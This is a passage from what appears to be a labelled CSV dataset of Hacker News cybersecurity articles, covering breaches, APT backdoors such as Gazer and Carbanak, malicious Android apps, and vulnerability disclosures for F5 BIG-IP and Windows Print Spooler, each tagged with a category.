File Your Taxes Early - According to Paige Hanson, Educational Programs Manager for LifeLock, an identity theft monitoring service, it only takes two pieces of information for a cyber thief to hook your tax refund by filing your taxes early and claiming it for themselves, and the data in the breach contained both. So, in order to avoid any such problems, file your taxes as early as possible.
Get Password Manager and Use Two Factor Authentication - The advice is common for all affected by data breaches — change your password and use best password manager to make sure you use a complex one, and don't use the same password or username across various websites. Also activate two-factor authentication for an extra layer of protection beyond your password.
Stay Vigilant - The last and foremost thing to protect against the breach is to stay vigilant, as nobody knows when or where your stolen identities will be used. So, affected consumers will simply have to stay mindful forever.
""Your Social Security number is not going to change,"" said Gorup. ""This is going to stick with you for life.""
In case for any queries about Anthem data breach, the company has set up a dedicated website and a toll-free number (1-877-263-7995) for customers to access updates and ask questions related to the hack.

",Data_Breaches
Gazer: A New Backdoor Targets Ministries and Embassies Worldwide,https://thehackernews.com/2017/08/gazer-backdoor-malware.html,"Security researchers at ESET have discovered a new malware campaign targeting consulates, ministries and embassies worldwide to spy on governments and diplomats.

Active since 2016, the malware campaign is leveraging a new backdoor, dubbed Gazer, and is believed to be carried out by Turla advanced persistent threat (APT) hacking group that's been previously linked to Russian intelligence.

Gazer, written in C++, the backdoor delivers via spear phishing emails and hijacks targeted computers in two steps—first, the malware drops Skipper backdoor, which has previously been linked to Turla and then installs Gazer components.

In previous cyber espionage campaigns, the Turla hacking group used Carbon and Kazuar backdoors as its second-stage malware, which also has many similarities with Gazer, according to research [PDF] published by ESET.

Gazer receives encrypted commands from a remote command-and-control server and evades detection by using compromised, legitimate websites (that mostly use the WordPress CMS) as a proxy.
Instead of using Windows Crypto API, Gazer uses custom 3DES and RSA encryption libraries to encrypt the data before sending it to the C&C server—a common tactic employed by the Turla APT group.

Gazer uses code-injection technique to take control of a machine and hide itself for a long period of time in an attempt to steal information.

Gazer backdoor also has the ability to forward commands received by one infected endpoint to the other infected machines on the same network.

So far ESET researchers have identified four different variants of the Gazer malware in the wild, primarily spying on Southeast European and former Soviet bloc political targets.

Interestingly, earlier versions of Gazer were signed with a valid certificate issued by Comodo for ""Solid Loop Ltd,"" while the latest version is signed with an SSL certificate issued to ""Ultimate Computer Support Ltd.""

According to researchers, Gazer has already managed to infect a number of targets worldwide, with the most victims being located in Europe.

Meanwhile, Kaspersky lab has also published almost similar details about Gazer backdoor, but they called it 'Whitebear' APT campaign.

",Malware
Android Apps with 5.8 million Installs Caught Stealing Users' Facebook Passwords,https://thehackernews.com/2021/07/android-apps-with-58-million-installs.html,"Google intervened to remove nine Android apps downloaded more than 5.8 million times from the company's Play Store after the apps were caught furtively stealing users' Facebook login credentials.
""The applications were fully functional, which was supposed to weaken the vigilance of potential victims. With that, to access all of the apps' functions and, allegedly, to disable in-app ads, users were prompted to log into their Facebook accounts,"" researchers from Dr. Web said. ""The advertisements inside some of the apps were indeed present, and this maneuver was intended to further encourage Android device owners to perform the required actions.""
The offending apps masked their malicious intent by disguising as photo-editing, optimizer, fitness, and astrology programs, only to trick victims into logging into their Facebook accounts and hijack the entered credentials via a piece of JavaScript code received from an adversary-controlled server.
The list of apps are as follows -
PIP Photo (>5,000,000 installs)
Processing Photo (>500,000 installs)
Rubbish Cleaner (>100,000 installs)
Horoscope Daily (>100,000 installs)
Inwell Fitness (>100,000 installs)
App Lock Keep (50,000 installs)
Lockit Master (5,000 installs)
Horoscope Pi (>1,000 installs)
App Lock Manager (10 installs)
In the last link of the attack, the stolen information was exfiltrated to the server using the trojanized applications.
While this specific campaign appears to have set its sights on Facebook accounts, Dr. Web researchers cautioned that this attack could have been easily expanded to load the login page of any legitimate web platform with the goal of stealing logins and passwords from a variety of services.
The latest disclosure comes days after Google announced new measures for the Play Store, including requiring developer accounts to turn on 2-Step Verification (2SV), provide an address, and verify their contact details as part of its ongoing efforts to combat scams and fraudulent developer accounts.
If anything, the development is yet another reminder that users are better off served by installing apps from known and trusted developers, not to mention watch out for permissions requested by the apps and pay attention to other user reviews prior to installation.

",Malware
Snapchat Hack — Hacker Leaked Snapchat Source Code On GitHub,https://thehackernews.com/2018/08/snapchat-hack-source-code.html,"The source code of the popular social media app Snapchat was recently surfaced online after a hacker leaked and posted it on the Microsoft-owned code repository GitHub.

A GitHub account under the name Khaled Alshehri with the handle i5xx, who claimed to be from Pakistan, created a GitHub repository called Source-Snapchat with a description ""Source Code for SnapChat,"" publishing the code of what purported to be Snapchat's iOS app.

The underlying code could potentially expose the company's extremely confidential information, like the entire design of the hugely-successful messaging app, how the app works and what future features are planned for the app.

Snapchat's parent company, Snap Inc., responded to the leak by filing a copyright act request under the Digital Millennium Copyright Act (DMCA), helping it takedown the online repository hosting the Snapchat code.

SnapChat Hack: Github Took Down Repository After DMCA Notice
Though it is not clear precisely what secret information the leaked SnapChat code contained, the company's panic can be seen in the DMCA request (written in all-caps) which suggests the contents of the repository were legitimate.
""I AM [private] AT SNAP INC., OWNER OF THE LEAKED SOURCE CODE,"" a reply from a Snap employee, whose name is redacted, on the DMCA notice reads.
Upon asking ""Please provide a detailed description of the original copyrighted work that has allegedly been infringed. If possible, include a URL to where it is posted online,"" the Snap employee responded:
""SNAPCHAT SOURCE CODE. IT WAS LEAKED AND A USER HAS PUT IT IN THIS GITHUB REPO. THERE IS NO URL TO POINT TO BECAUSE SNAP INC. DOESN'T PUBLISH IT PUBLICLY.""

""WE WOULD APPRECIATE YOU TAKE DOWN THE WHOLE THING.""
Snap told several online news outlets that an iOS update in May exposed a ""small amount"" of its iOS source code.

Although the company identified and rectified the mistake immediately, it discovered that some of the exposed code had been posted online.

However, Snap did confirm that the code has been subsequently removed and that the event did not compromise its application and had no impact on its community.

Hacker Threatens to Re-Upload Snapchat's Source Code

It appears that the online user behind the source code leak created the Github account with the sole purpose of sharing the code as nothing else was posted on the account before or after the Snapchat leak.

Moreover, some posts on Twitter by at least two individuals (one based in Pakistan and another in France) who appear to be behind the i5xx GitHub account suggest that they tried contacting Snapchat about the source-code and expecting a bug bounty reward.

But when they did not get any response from the company, the account threatened to re-upload the source code until they get a reply from Snapchat.

The snapchat app code has now been taken down by GitHub after the DMCA request, and will not be restored unless the original publisher comes up with a legal counterclaim proving he/she is the owner of the source-code.

However, this does not rectify the issue completely. Since the Snapchat source code is still in the hands of outsiders, they could re-publish it on other online forums, or could use it for individual profit.

But you should not worry, as the code can not be turned into spy apps or hacking tools to hack someone snapchat account.

",Data_Breaches
Landry's Restaurant Chain Suffers Payment Card Theft Via PoS Malware,https://thehackernews.com/2020/01/landry-pos-malware-attack.html,"Landry's, a popular restaurant chain in the United States, has announced a malware attack on its point of sale (POS) systems that allowed cybercriminals to steal customers' payment card information.

Landry's owns and operates more than 600 bars, restaurants, hotels, casinos, food and beverage outlets with over 60 different brands such as Landry's Seafood, Chart House, Saltgrass Steak House, Claim Jumper, Morton's The Steakhouse, Mastro's Restaurants, and Rainforest Cafe.

According to the breach notification published this week, the malware was designed to search for and likely steal sensitive customer credit card data, including credit card numbers, expiration dates, verification codes and, in some cases, cardholder names.

The PoS malware infected point-of-sale terminals at all Landry's owned locations, but, fortunately, due to end-to-end encryption technology used by the company, attackers failed to steal payment card data from cards swiped at its restaurants.

However, Landry's outlets also use ""order-entry systems with a card reader attached for waitstaff to enter kitchen and bar orders and to swipe Landry's Select Club reward cards,"" which allowed attackers to successfully steal customers' payment data ""in rare circumstances"" when waitstaff mistakenly swiped payment cards on them.


The restaurant chain did not speculate how many customers may have been affected, but it is ""notifying customers"" that ""in rare circumstances, appear to have been mistakenly swiped by waitstaff on devices used to enter kitchen and bar orders, which are different devices than the point-of-sale terminals used for payment processing,"" the breach notification says.

""The malware searched for track data (which sometimes has the cardholder name in addition to card number, expiration date, and internal verification code) read from a payment card after it was swiped on the order-entry systems. In some instances, the malware only identified the part of the magnetic stripe that contained payment card information without the cardholder name.""

According to the company, the POS malware was actively scanning their systems between 13th March 2019 and 17th October 2019 for swipe cards; and at some locations, it may have been installed as early as 18th January 2019.

""During the investigation, we removed the malware and implemented enhanced security measures, and we are providing additional training to waitstaff.""

So, if you have used your debit or credit card at any of the above listed outlet last year, you are advised to stay vigilant, monitor your payment card statements for any suspicious activity and immediately report it to your bank and local law enforcement, if found.
",Cyber_Attack
Russian Hacker Behind LinkedIn Breach also Charged with Hacking Dropbox and Formspring,https://thehackernews.com/2016/10/linkedin-russian-hacker.html,"The alleged Russian hacker, who was arrested by the FBI in collaboration with the Czech police, was believed to be the one responsible for massive 2012 data breach at LinkedIn, according to a statement released by LinkedIn.

Now, United States authorities have officially indicted Yevgeniy Aleksandrovich Nikulin, 29-years-old Russian national, for hacking not just LinkedIn, but also the online cloud storage platform Dropbox, and now-defunct social-networking company Formspring.

Nikulin was arrested in Prague [Watch Video] on October 5 by the Czech police after Interpol issued an international arrest warrant.

According to an indictment unsealed Friday, Nikulin had hacked three Bay Area technology companies in the spring and summer of 2012, which includes LinkedIn Corp, Dropbox, and Formspring.

Nikulin gained access to LinkedIn's network between March 3 and March 4, 2012; Dropbox's network between May 14 and July 25, 2012; and Formspring between June 13 and June 29, 2012.

The U.S. Justice Department also says that Nikulin allegedly gained access to credentials belonging to LinkedIn and Formspring employees, which helped him carry out the computer hacks.

The hacker is reported to have stolen accounts of more than 117 Million LinkedIn users and more than 68 Million Dropbox users. Authorities also say that after stealing data from the three companies, Nikulin worked with unnamed co-conspirators to sell the stolen data.

In September, a hacker was selling this Dropbox data dump on a Dark Web marketplace known as TheRealDeal for around $1200.

However, earlier this month, well-known researchers Thomas White uploaded the full Dropbox data dump of 68,680,741 accounts onto his website for anyone to download the leaked database for free.

US officials have charged Nikulin with:

3 counts of computer intrusion.
2 counts of intentional transmission of information, code, or command causing damage to a protected computer.
2 counts of aggravated identity theft.
1 count of trafficking in unauthorized access devices.
1 count of conspiracy.

Nikulin faces a maximum of 32 years in prison and a massive fine of over $1 Million, according to the maximum penalties for each count.

The hacker remains in custody in Prague, Czech Republic. The FBI is waiting for a Czech court to decide on his extradition to the United States.

",Data_Breaches
Billion-Dollar Hacker Gang Now Using Google Services to Control Its Banking Malware,https://thehackernews.com/2017/01/google-banking-malware.html,"Carbanak – One of the most successful cybercriminal gangs ever that's known for the theft of one billion dollars from over 100 banks across 30 countries back in 2015 – is back with a BANG!

The Carbanak cyber gang has been found abusing various Google services to issue command and control (C&C) communications for monitoring and controlling the machines of unsuspecting malware victims.

Forcepoint Security Labs researchers said Tuesday that while investigating an active exploit sent in phishing messages as an RTF attachment, they discovered that the Carbanak group has been hiding in plain site by using Google services for command and control.
""The Carbanak actors continue to look for stealth techniques to evade detection,"" Forcepoint's senior security researcher Nicholas Griffin said in a blog post. ""Using Google as an independent C&C channel is likely to be more successful than using newly created domains or domains with no reputation.""
The RTF document features an embedded OLE object that contains a VBScript (Visual Basic Script), which is previously associated with the Carbanak malware, and uses social engineering to trick victims into clicking on an envelope image to ""unlock the contents.""
It turns out that the envelope image actually hides the embedded OLE object, so as soon as the victim double-clicks that picture, a dialog box opens asking if the victim wants to run the file unprotected.vbe.

If the victim runs the file, Carbanak's VBScript malware will get executed, and, according to Forcepoint, the malware will ""send and receive commands to and from Google Apps Script, Google Sheets, and Google Forms services.""

Besides VBScript malware, Forcepoint researchers also discovered a new 'ggldr' script module encoded inside the main VBScript file along with various other VBScript modules, capable of using Google services as a command and control channel.
""The 'ggldr' script will send and receive commands to and from Google Apps Script, Google Sheets, and Google Forms services,"" ""For each infected user a unique Google Sheets spreadsheet is dynamically created to manage each victim,"" Griffin said.
""The use of a legitimate third party service like this one gives the attacker the ability to hide in plain sight. It is unlikely that these hosted Google services are blocked by default in an organization, so it is more likely that the attacker will establish a C&C channel successfully.""
Forcepoint researchers reckon it is probable that the hacking group is using Google services because these services are allowed by default at many companies and organizations, which makes it easier for hackers to exfiltrate data and send instructions.

Carbanak, also known as Anunak, is one of the most successful cybercriminal operations in the world and is a highly organized group that continually evolves its tactics to carry out cyber crime while avoiding detection by potential targets and the authorities.

The group was first exposed in 2015 as financially-motivated cybercriminals targeting mainly financial institutions. Since it started operating in 2013, Carbanak has stolen upwards of $1 Billion from more than 100 banks across the globe.

Forcepoint has already notified Google of the issue, and its researchers are working with the web technology giant on this particular abuse of its legitimate web services.

",Malware
Win Free Air Miles for Finding Security Flaws in United Airlines,https://thehackernews.com/2015/05/hacking-airlines.html,"If you are a security researcher and fond of traveling from one conference to another, then United Airlines' bug bounty program would be of great interest for you.

United Airlines has launched a new bug bounty program inviting security researchers and bug hunters to report vulnerabilities in its websites, apps and web portals.

Bug bounty programs are very common among technology firms, including Google and Facebook, who offer you hundreds of thousands of dollars as rewards for exposing security flaws and errors in their products.

So, what's different in United Airlines new bug bounty?

The most interesting part of this bug bounty program is – Instead of offering cold, hard cash, United Airlines is offering air miles as the reward for yours.

Let's see what United Airlines says about its bug bounty program:

""At United, we take your safety, security and privacy seriously. We utilize best practices and are confident that our systems are secure,"" said the company.
""We believe that this program will further bolster our security and allow us to continue to provide excellent service. If you think you have discovered a potential bug that affects our websites, apps, and online portals, please let us know. If the submission meets our requirements, we'll gladly reward you for your time and effort.""

The classification of the bug bounty rewards:

The rewards range from 50,000 air miles to 1 Million air miles. The worse the vulnerability you discover, the more miles you win.
Low-severity bugs including cross-site scripting, cross-site request forgery and third-party issues affecting United are worth 50,000 air miles.
Medium-severity flaw includes authentication bypass, denial-of-service attacks, brute-force attacks and security issues that could lead to the disclosure of personally identifiable information are worth 250,000 air miles per vulnerability.
The top prize, a Million-mile payout, will be rewarded to researchers who will find high-severity vulnerabilities related to issues that would lead remote code execution on United's online properties.


However, there are some important rules by United Airlines that are worth keeping in mind too.

One important rule to note is that the bug bounty program specifically doesn't cover vulnerabilities in its ""onboard Wi-Fi, entertainment systems or avionics"" systems, thus don't do ahead digging out bugs while you are in-flight.

It doesn't mean that United Airlines do not consider such vulnerabilities as serious, but it really don't want to encourage researchers attempting to find bugs in a plane that is flying at 30,000 feet.

Don't mess with in-flight systems

One such example United recently introduced as part of the small print, when they removed security researcher Chris Roberts from a flight for a joke tweet made by him about possible in-flight vulnerabilities.

Accidentally crashing flight's ticketing server means lost revenue or accidentally crashing a flight's avionics potentially means lost of lives. So according to the fine print, these types of attempts would considered possibly under criminal investigation.

Moreover, vulnerabilities only exist on unsupported operating systems or browsers are not considered to be eligible for the bounty program.

Although, it's good to see that United Airlines is welcoming vulnerability reports from researchers and rewarding them for their work that shows their keenness to protect their customers' privacy and prevent hackers from exposing their databases or other sensitive details.

",Vulnerability
Malware Attack on 2nd Largest Liquefied Natural Gas Producer,https://thehackernews.com/2012/09/malware-attack-on-2nd-largest-liquefied.html,"Reports have surfaced that liquified natural gas (LNG) producer RasGas, based in the Persian Gulf nation of Qatar, has been struck by an unidentified virus, this time shutting down its website and email servers.

The malware, however, did not affect the company's operational computers that control the production and delivery of gas, an official of the Ras Laffan Liquefied Natural Gas company. The attack reportedly began Aug. 27. The RasGas website was still unavailable on Thursday, three days after the attack.

For the second time in two weeks a virus outbreak has been reported at an energy company in that region. Earlier this week the Saudi Aramco oil company confirmed that its network was hit by a virus two weeks ago, shutting down 30,000 workstations. Neither company identified the virus, but in at least one of the cases it is believed to be malware known as ""Shamoon.""

A joint venture between Qatar Petroleum and ExxonMobil, RasGas exports about 36.3 million tons of liquefied natural gas per year. The attacks come as security researchers are tracking a malware campaign directed at unspecified companies in the energy industry.

Based on the information that is publicly available, the attacks on RasGas and Saudi Aramco appear to be major inconveniences rather than catastrophic events. Speculation has run high over who is behind the Shamoon attacks, everything from a traditional hacktivist group to the Iranian government.

Attack on the Iranian oil industry, is believed to have been the inspiration for the attackers who subsequently targeted Saudi Aramco and RasGas.

",Malware
F5 BIG-IP Found Vulnerable to Kerberos KDC Spoofing Vulnerability,https://thehackernews.com/2021/04/f5-big-ip-found-vulnerable-to-kerberos.html,"Cybersecurity researchers on Wednesday disclosed a new bypass vulnerability (CVE-2021-23008) in the Kerberos Key Distribution Center (KDC) security feature impacting F5 Big-IP application delivery services.
""The KDC Spoofing vulnerability allows an attacker to bypass the Kerberos authentication to Big-IP Access Policy Manager (APM), bypass security policies and gain unfettered access to sensitive workloads,"" Silverfort researchers Yaron Kassner and Rotem Zach said in a report. ""In some cases this can be used to bypass authentication to the Big-IP admin console as well.""
Coinciding with the public disclosure, F5 Networks has released patches to address the weakness (CVE-2021-23008, CVSS score 8.1), with fixes introduced in BIG-IP APM versions 12.1.6, 13.1.4, 14.1.4, and 15.1.3. A similar patch for version 16.x is expected at a future date.
""We recommend customers running 16.x check the security advisory to assess their exposure and get details on mitigations for the vulnerability,"" F5 told The Hacker News via email. As workarounds, the company recommends configuring multi-factor authentication (MFA), or deploying an IPSec tunnel between the affected BIG-IP APM system and the Active Directory servers.
Kerberos is an authentication protocol that relies on a client-server model for mutual authentication and requires a trusted intermediary called Key Distribution Center (KDC) — a Kerberos Authentication Server (AS) or a Ticket Granting Server in this case — that acts as a repository of shared secret keys of all users as well as information about which users have access privileges to which services on which network servers.
Thus when a user, say Alice, wants to access a particular service on a server (Bob), Alice is prompted to provide her username and password to verify her identity, after which the AS checks if Alice has access privileges to Bob, and if so, issue a ""ticket"" permitting the user to use the service until its expiration time.
Also essential as part of the process is the authentication of KDC to the server, in the absence of which the security of the Kerberos gets compromised, thus allowing an attacker that has the ability to hijack the network communication between Big-IP and the domain controller (which is the KDC) to sidestep the authentication entirely.
In a nutshell, the idea is that when the Kerberos protocol is implemented the right way, an adversary attempting to impersonate the KDC cannot bypass the authentication protections. The spoofing attack, therefore, hinges on the possibility that there exist insecure Kerberos configurations so as to hijack the communication between the client and the domain controller, leveraging it to create a fraudulent KDC that diverts the traffic intended for the controller to the fake KDC, and subsequently authenticate itself to the client.
""A remote attacker can hijack a KDC connection using a spoofed AS-REP response,"" F5 Networks noted in the alert. ""For an APM access policy configured with AD authentication and SSO (single sign-on) agent, if a spoofed credential related to this vulnerability is used, depending how the back-end system validates the authentication token it receives, access will most likely fail. An APM access policy can also be configured for BIG-IP system authentication. A spoofed credential related to this vulnerability for an administrative user through the APM access policy results in local administrative access.""
This is the fourth such spoofing flaw uncovered by Silverfort after discovering similar issues in Cisco ASA (CVE-2020-3125), Palo Alto Networks PAN-OS (CVE-2020-2002), and IBM QRadar (CVE-2019-4545) last year.

",Vulnerability
Microsoft Warns of Another Unpatched Windows Print Spooler RCE Vulnerability,https://thehackernews.com/2021/08/microsoft-security-bulletin-warns-of.html,"A day after releasing Patch Tuesday updates, Microsoft acknowledged yet another remote code execution vulnerability in the Windows Print Spooler component, adding that it's working to remediate the issue in an upcoming security update.
Tracked as CVE-2021-36958 (CVSS score: 7.3), the unpatched flaw is the latest to join a list of bugs collectively known as PrintNightmare that have plagued the printer service and come to light in recent months. Victor Mata of FusionX, Accenture Security, who has been credited with reporting the flaw, said the issue was disclosed to Microsoft in December 2020.
""A remote code execution vulnerability exists when the Windows Print Spooler service improperly performs privileged file operations,"" the company said in its out-of-band bulletin, echoing the vulnerability details for CVE-2021-34481. ""An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.""
It's worth noting that the Windows maker has since released updates to change the default Point and Print default behavior, effectively barring non-administrator users from installing or updating new and existing printer drivers using drivers from a remote computer or server without first elevating themselves to an administrator.
As workarounds, Microsoft is recommending users to stop and disable the Print Spooler service to prevent malicious actors from exploiting the vulnerability. The CERT Coordination Center, in a vulnerability note, is also advising users to block outbound SMB traffic to prevent connecting to a malicious shared printer.

",Vulnerability
Terrorist Group Al-Qaeda Uses New Encryption Softwares After NSA Revelations,https://thehackernews.com/2014/05/al-qaeda-encryption-tool.html,"Last year, Just after Snowden leaks, the U.S Government warned that NSA surveillance revelations will make harder to track bad guys trying to harm the United States, as disclosures can be helpful to terrorist groups.

In response to the NSA revelations, the terrorists at Al-Qaeda have started using strongest encryption techniques in order to bypass the standard cryptographic protections in its various communications, according to the recent report released by the Threat Intelligence company, Recorded Future.

The analysis carried out by the intelligence firm revealed that the Infamous Terrorist Organizations, Al-Qaeda that attacked civilian and military targets in various countries, has switched to new encryption software for the first time in seven years, following the revelations of the US National Security Agency (NSA) by former contractor Edward Snowden.

Al-Qaeda is a global militant Islamist and takfiri organization which operates as a network comprising both a multinational, stateless army and a radical Sunni Muslim movement calling for global jihad.

Since 2007, Al-Qaeda was using their own built encryption software, Mujahideen Secrets for the online and cellular communications, but the intelligence firm has noticed that now they are using number of new encryption tools and adopting new services like mobile, instant messaging, and Mac as well, to mask its communications with overseas' operatives.

""The nature of these new crypto products indicates strategy to overlay stronger and broader encryption on Western (mainly US) consumer communication services,"" states the report. ""We do not find evidence of abandonment of US-based consumer communication services. Likely risks are still greater to hide outside the consumer crowd, and non-US-based services may be exposed to even stronger lawful intercept.""

The three different terrorist organisations associated with Al-Qaeda - GIMF, Al-Fajr Technical Committee and ISIS - released three new major encryption tools within a three-to-five month period of the Snowden leaks, according to the report.

These three tools bolster the original 'Mujahideen Secrets' tool that have primarily been used for email by Al-Qaeda since 2007.

NEW Al-Qaeda ENCRYPTION TOOLS
Tashfeer al-Jawwal, a mobile encryption platform developed by the Global Islamic Media Front (GIMF) and released in September 2013.
Asrar al-Ghurabaa, another alternative encryption program developed by the Islamic State of Iraq and Al-Sham and released in November 2013, around the same time the group broke away from the main Al-Qaeda following a power struggle.
Amn al-Mujahid, an encryption software program developed by Al-Fajr Technical Committee which is a mainstream al Qaeda organization and released in December 2013.
The massive surveillance conducted by the National Security agency may lead to the change in communication behavior of terrorists and criminals. Cybercriminals have to just secure their communication before performing any crime, Whereas terrorists need an undetectable communications along with the secure one, because for them nothing is more important than operational security.
WHY BLAME SNOWDEN?
But, should Edward Snowden be blamed for this situation? No, because some analysts also point out that Al-Qaeda and like-minded militant groups were already aware of the enormous capabilities of the NSA to snoop on their communications, and had already taken measures to try to evade detection.

In 2011, German Intelligence officials revealed that militants in Germany had developed some effective encryption tools for secure communication over the Internet with terrorist operatives in Pakistan, CNN reported.

In 2009, An American-Yemeni cleric personally instructed European militants in Yemen how to use the encryption software so they could communicate without their e-mails being intercepted.

And in many more cases, such communications were obviously not detected by the NSA, otherwise terrorist would have been arrested before trying to carry out an attack.

It seems that NSA and U.S Government are more concerned about the surge of ""malware"" spreading over the Internet and to combat with the Economic frauds, but they should definitely need to be alert from the ""terrorwares,"" that may use a large amounts of publicly available online data to predict the timing and targets of the future terror attacks.

",Cyber_Attack
"Google Details iOS, Chrome, IE Zero-Day Flaws Exploited Recently in the Wild",https://thehackernews.com/2021/07/google-details-ios-chrome-ie-zero-day.html,"Threat intelligence researchers from Google on Wednesday shed more light on four in-the-wild zero-days in Chrome, Safari, and Internet Explorer browsers that were exploited by malicious actors in different campaigns since the start of the year.
What's more, three of the four zero-days were engineered by commercial providers and sold to and used by government-backed actors, contributing to an uptick in real-world attacks. The list of now-patched vulnerabilities is as follows -
CVE-2021-1879: Use-After-Free in QuickTimePluginReplacement (Apple WebKit)
CVE-2021-21166: Chrome Object Lifecycle Issue in Audio
CVE-2021-30551: Chrome Type Confusion in V8
CVE-2021-33742: Internet Explorer out-of-bounds write in MSHTML
Both Chrome zero-days — CVE-2021-21166 and CVE-2021-30551 — are believed to have been used by the same actor, and were delivered as one-time links sent via email to targets located in Armenia, with the links redirecting unsuspecting users to attacker-controlled domains that masqueraded as legitimate websites of interest to the recipients.
The malicious websites took charge of fingerprinting the devices, including collecting system information about the clients, before delivering a second-stage payload.
When Google rolled out a patch for CVE-2021-30551, Shane Huntley, Director of Google's Threat Analysis Group (TAG), revealed that the vulnerability was leveraged by the same actor that abused CVE-2021-33742, an actively exploited remote code execution flaw in Windows MSHTML platform that was addressed by Microsoft as part of its Patch Tuesday update on June 8.
The two zero-days were provided by a commercial exploit broker to a nation-state adversary, which used them in limited attacks against targets in Eastern Europe and the Middle East, Huntley previously added.
Now according to a technical report published by the team, all the three zero-days were ""developed by the same commercial surveillance company that sold these capabilities to two different government-backed actors,"" adding the Internet Explorer flaw was used in a campaign targeting Armenian users with malicious Office documents that loaded web content within the web browser.
Google did not disclose the identities of the exploit broker or the two threat actors that used the vulnerabilities as part of their attacks.
SolarWinds Hackers Exploited iOS Zero-Day
The Safari zero-day, in contrast, concerned a WebKit flaw that could enable adversaries to process maliciously crafted web content that may result in universal cross-site scripting attacks. The issue was rectified by Apple on March 26, 2021.
Attacks leveraging CVE-2021-1879, which Google attributed to a ""likely Russian government-backed actor,"" were executed by means of sending malicious links to government officials over LinkedIn that, when clicked from an iOS device, redirected the user to a rogue domain that served the next-stage payloads.
It's worth noting that the offensive also mirrors a wave of targeted attacks unleashed by Russian hackers tracked as Nobelium, which was found abusing the vulnerability to strike government agencies, think tanks, consultants, and non-governmental organizations as part of an email phishing campaign.
Nobelium, a threat actor linked to the Russian Foreign Intelligence Service (SVR), is also suspected of orchestrating the SolarWinds supply chain attack late last year. It's known by other aliases such as APT29, UNC2452 (FireEye), SolarStorm (Unit 42), StellarParticle (Crowdstrike), Dark Halo (Volexity), and Iron Ritual (Secureworks).
""Halfway into 2021, there have been 33 zero-day exploits used in attacks that have been publicly disclosed this year — 11 more than the total number from 2020,"" TAG researchers Maddie Stone and Clement Lecigne noted. ""While there is an increase in the number of zero-day exploits being used, we believe greater detection and disclosure efforts are also contributing to the upward trend.""

",Vulnerability
FBI Director says 'Sloppy' Sony Hackers Left Clues that Point to North Korea,https://thehackernews.com/2015/01/fbi-sony-hacker-north-korea.html,"The hackers group responsible for the last year's largest hacking attack on Sony Pictures Entertainment left many clues which proves that the Sony's hackers, who called themselves Guardians of Peace (GOP), linked to North Korea, as claimed by the Federal Bureau of Investigation (FBI).

Speaking at the International Conference on Cyber Security (ICCS) at Fordham University in New York on Wednesday, the director of the FBI defended his bureau's claim and said that the North Korean government was involved in the massive cyber attack against Sony Pictures – saying skeptics ""don't have the facts that I have.""
""There's not much I have high confidence about,"" James Comey said, as reported by the FBI New York field office's official Twitter feed. ""I have very high confidence... on North Korea.""
According to Comey, the hackers usually relied on proxy connections to hide their real IP address each time they sent threatening emails and made other statements; but unfortunately on some occasions they failed to follow precaution.

During those occasions, the hackers ""got sloppy"" and forgot to route their connection, revealing their own IP addresses, which were used exclusively by North Korean government. This clearly indicates that the North-Koreans are behind the cyber attack on Sony Pictures.

Previously when the FBI linked the Sony Pictures incident to North Korea, it didn't provide exact evidence. But on Wednesday, the FBI boss offered the most detailed explanation about the cyber attack yet of the government's reasoning, giving law enforcement a ""very clear indication of who was doing this.""

Previously the hacker group also gave hint when it demanded Sony to cancel the release of ""The Interview"" — the Seth Rogen and James Franco-starring comedy centered around a TV host and his producer assassinating North Korean dictator Kim Jong Un, citing terror threats against movie theatres.

So far, it is unclear how the attackers penetrated Sony Pictures' network. However, Comey said that FBI was still investigating how the hackers got the way into the network that helped them to fetch huge amount of confidential data, but he also noted that the company had been targeted by ""spear phishing"" campaigns—including one that occurred in September.

The FBI director also reaffirmed his concerns about the widely use of encryption on mobile devices, which would indirectly allow every individuals to ""go dark"" and avoid law enforcement surveillance. This would made it impossible for law enforcement to find out bad actors. ""There are significant public safety issues here (and) we need to talk about it,"" Comey said.

",Cyber_Attack
PREC Tool prevents Android Device from Root Exploit hidden in Malicious apps,https://thehackernews.com/2014/03/prec-tool-prevents-android-device-from.html,"Smartphones are always ready to connect to the Internet and contains sensitive information such as Contacts, SMS, Photos, and GPS information and this sensitive information is always in danger of leakage.

According to a report, Cyber criminals and state-sponsored hackers are developing 55,000 new malware variants, each and every day; and many of them try to elevate privileges for unfettered control of the user device.

North Carolina State University Researchers have developed a new software, called Practical Root Exploit Containment (PREC), with the sole purpose of detecting mobile malware that attempts to run Root exploits in Android devices. Root exploits take control of system administration functions of the operating system that gives the hacker an unrestricted control of user's Smartphone.

That means, an application has not permission to read your messages or contacts or the GPS location, but after getting root access it will be able to steal any data from your device.

Anomaly Detection is one of the existing detection technique that compares the behavior of a downloaded Smartphone application, such as Google Chrome, with a database of how the application should be expected to behave. ""When deviations from normal behavior are detected, PREC analyses them to determine if they are malware or harmless 'false positives.' ""

PREC tool used the refined techniques of Anomaly Detection to prevent it from giving false positives, ""Anomaly detection isn't new, and it has a problematic history of reporting a lot of false positives,"" said Dr Will Enck, co-author of the research paper.

PREC targets the code written in C language which is usually used by hackers to create malware and can identify calls made to native C code from a Java program.

The researchers tested a prototype of the tool on the Google Galaxy Nexus device against 150 Android apps, of which 10 contained root exploits. ""We can achieve 100 percent detection rate and raised false alarms in one out of 140 popular apps tested,"" he said.

Malware writers have developed techniques that hide malware until the application is installed on the Smartphone but thanks to Google, most apps in the Android Play store are pretty clean, but the best protection is common sense; Ensure you only Install Apps from Trusted Sources.

",Malware
Verizon 2011 Data Breach Investigations Report Released !,https://thehackernews.com/2011/04/verizon-2011-data-breach-investigations.html,"Verizon 2011 Data Breach Investigations Report Released !
Data loss through cyber attacks decreased sharply in 2010, but the total number of breaches was higher than ever, according to the "" Verizon 2011 Data Breach Investigations Report ."" These findings continue to demonstrate that businesses and consumers must remain vigilant in implementing and maintaining security practices.

The number of compromised records involved in data breaches investigated by Verizon and the U.S. Secret Service dropped from 144 million in 2009 to only 4 million in 2010, representing the lowest volume of data loss since the report's launch in 2008. Yet this year's report covers approximately 760 data breaches, the largest caseload to date.

According to the report, the seeming contradiction between the low data loss and the high number of breaches likely stems from a significant decline in large-scale breaches, caused by a change in tactics by cybercriminals. They are engaging in small, opportunistic attacks rather than large-scale, difficult attacks and are using relatively unsophisticated methods to successfully penetrate organizations. For example, only 3 percent of breaches were considered unavoidable without extremely difficult or expensive corrective action.

The report also found that outsiders are responsible for 92 percent of breaches, a significant increase from the 2010 findings. Although the percentage of insider attacks decreased significantly over the previous year
